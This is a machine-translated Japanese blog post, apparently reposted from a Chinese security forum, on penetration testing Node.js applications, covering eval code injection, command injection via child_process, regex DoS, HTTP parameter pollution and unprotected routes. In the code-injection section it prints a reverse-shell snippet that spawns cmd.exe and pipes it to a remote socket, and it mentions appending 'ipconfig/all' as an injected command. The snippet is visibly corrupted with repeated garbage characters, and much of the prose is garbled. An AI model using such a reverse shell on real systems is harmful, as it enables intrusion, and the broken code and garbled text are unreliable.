2000P's Blog

最初のページ

浸透試験ノード.js応用

著者 puzio 時間 2020-04-17
all

本論文では、浸透の中でNode.jsアプリケーションがどのように処理され、よくあるNode.jsのいくつかのホールを紹介します。

紹介する

Node.jsはChrome V 8エンジンに基づくJavaScript実行環境です。Node.jsは、データに敏感なアプリケーションにとって軽量で効率的なイベント駆動、非ブロッキングI/Oのモデルを使用しています。これは、単一のタイプのサービスであり、また、任意の善意または悪意のDOSは、直接サービスのデッドアップにつながることを意味し、すべてのアクセスのクライアントがオフラインされるので、負荷のバランスをとるための多くの例の方法が良い。本論文では、Node.jsに関するいくつかの抜け穴を紹介し、実際にどのように利用するかを紹介します。

畕情報収集

他のWEBアプリケーションに対する情報収集段階と同様に、特別なcookies name[connect.sid],serverおよびX-power-Byなどのヘッド情報に留意します。X-powered-Byは、下図のように、Expressフレームに基づくアプリケーションであることを示しています。その後、私たちはこのフレームに関する多くの抜け穴情報を掘り下げることができます。

癜穴分析と利用

Node.jsアプリケーションを簡単に判断する方法が分かりました。私たちは引き続きその抜け穴に注目します。よくある抜け穴のタイプは以下の通りです。

Server Side Code Injection(サービスエンドコード注入)

System Command Injection(システムコマンド注入)

Regex DOS(正則DOS)

HTTP Parameter Pollution(HTTPパラメータ汚染)

Unoprotected Routes(保護されていないルート)

Global Namespace Pollution(グローバル名前空間汚染)

Cross Site Scripting(XSS)

Insecure Components(安全でないコンポーネント)

Secure Code Review(セキュリティコードReview)

畕Server Side Code Injection

Node.jsのコードは有名な関数「evall」をめぐって注入されます。したがって、あなたのコードの中でeval関数を使用しないでください。同様に、ユーザーが直接入力したデータを任意のシステム関数に挿入しないことを意味します。例えば、setTimeOut、set Intervalなどです。 

私たちのdemoコードでは、eval関数を使って入力したパラメータタイプを変換します。この例では、整数型です。その後、それを加算して、戻ります。私たちは関数のparseIntを使って同じ機能を実現できます。

ご覧のように、私たちは直接に私たちのパスロードを実行して、強制的にアプリケーションを終了します。 

下記のコードでリバースシェルを実現できます。

function rev(host,port){var net=require('net');var cp=require(‘child process’);var cmd=cp.spawn('cmd.exe');var client=newnet.Socket();clientclinclecttclecectttttclclecect.phphphphphphphphphphphphphphinininttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttd.stdout.pipe;cmd.stder.pipe;client.on('exit'は、function('code、signal){client.end('Disconnected\r\n');client.on('error'は、function(e){setTimeout}

畕System Command Execution

reviewのセクションNode.jsコードの場合、モジュールchild upurcessの関数に注意してください。このモジュールは新しいプロセスを作成してシステムコマンドを実行する機能が含まれています。次のように、私たちはデモを実行します。ただし、パラメータipが読み込まれていることが確認されていないため、コマンド実行につながります。

コマンドを追加できます。ipconfig/all

畕Regex DOS(Denial of Service)

正規表現のDOS攻撃は主に用語を中心にしています。「Catastriophic Backtracking」という方法で行われています。正則エンジンがユーザー固有のマッチングモードステートメントをどのように解析するかが含まれています。次の例を見ます。

ここではxで始まり、yで終わる文字列を検索します。今問題があります。もしユーザが入力した文字列がyで終わるのではなく、複数のxを繰り返しますか?各xはバックトラックを繰り返すことになり、最終的には無限のバックトラックサイクルに陥り、最後にYがあるかどうかを確認するまでになる。次のように正しい使い方が見られます。

ここでは、特定の数のxしか提供されていません。日下図に示すように、実行時間は1秒近く増加しました。Node.jsはシングルスレッドプログラムですが、多くのユーザーが同じ時刻に同じサービスを利用していると仮定しますか? 

畕HTTP Parameter Pollution

Node.jsには奇妙な特性があり、一つのパラメータが複数の値を持つことができます。一つのパラメータをemailというと、このパラメータに複数の値を伝達し、最終的にemailパラメータにはこの二つの値が含まれ、二つの値の間にコンマで区切られます。       

この特性はパラメータ解析のための脆弱性の利用に利用できる。       

畕Uniprotected Routes

今はほとんどのアプリケーションがMVCアーキテクチャを採用しています。まずこのMVCは何ですか?MVCはアプリケーションを三つの論理コンポーネントに分けます。Model、View、Controller。開発者とソフトウェア構築者が業務ロジックをコードから分離するのを効果的に助けます。 

すべてのURLをルーティングと呼び、ルーティングファイルに保存する。ユーザーがリンクhttp:/www.example.com/abcをクリックした時に、そのコントローラを起動するべきです。 

このシリーズで言及された脆弱性から,大部分の脆弱性は,安全でないユーザ入力から生じることがわかった。したがって、ユーザの入力を常にフィルタリングし、検証し、信頼できないプロセスを回避するために適切なミドルウェアを使用することを確保する。この文章はAjin Abraamが開発した不思議なツールNodeJsScanに言及していません。このツールは静的コード解析ツールです。多くの正規表現規則を使用して、可能な脆弱性コードと安全でない構成をスキャンし、ユーザーが自分の機能を拡張することを可能にします。ここからNodeJsScanをダウンロードできます。 

参照

https:/www.npmjs.com/package/npm-check https:/snnyk.io/blog/market-xss-vulnersability/https:/www.npmjs.com/package/htl-entities https:/gibank

本論文は雪翻訳グループghostwayのコンパイルで、ソースはSahil [email protected]です。

人気のある読書:

"企業に入って安全を見てください。易宝は支払います。"9番目の駅でカウントダウンを申請します。

AutoItスクリプトが混淆されます。

ウェスタンディgital NAS個人クラウド格納装置を攻撃する

SELinux教程のPermissive VS Engforcing

UPDATEクエリのSQL注入

……

もっと優秀な文章は左下の「原文を読む」をクリックしてください。

雪フォーラム:http://bs.pediy.com/

WeChat公式アカウントID:ikanxue

微博:雪を見るのは安全です。

投稿、協力:www.kanxue.com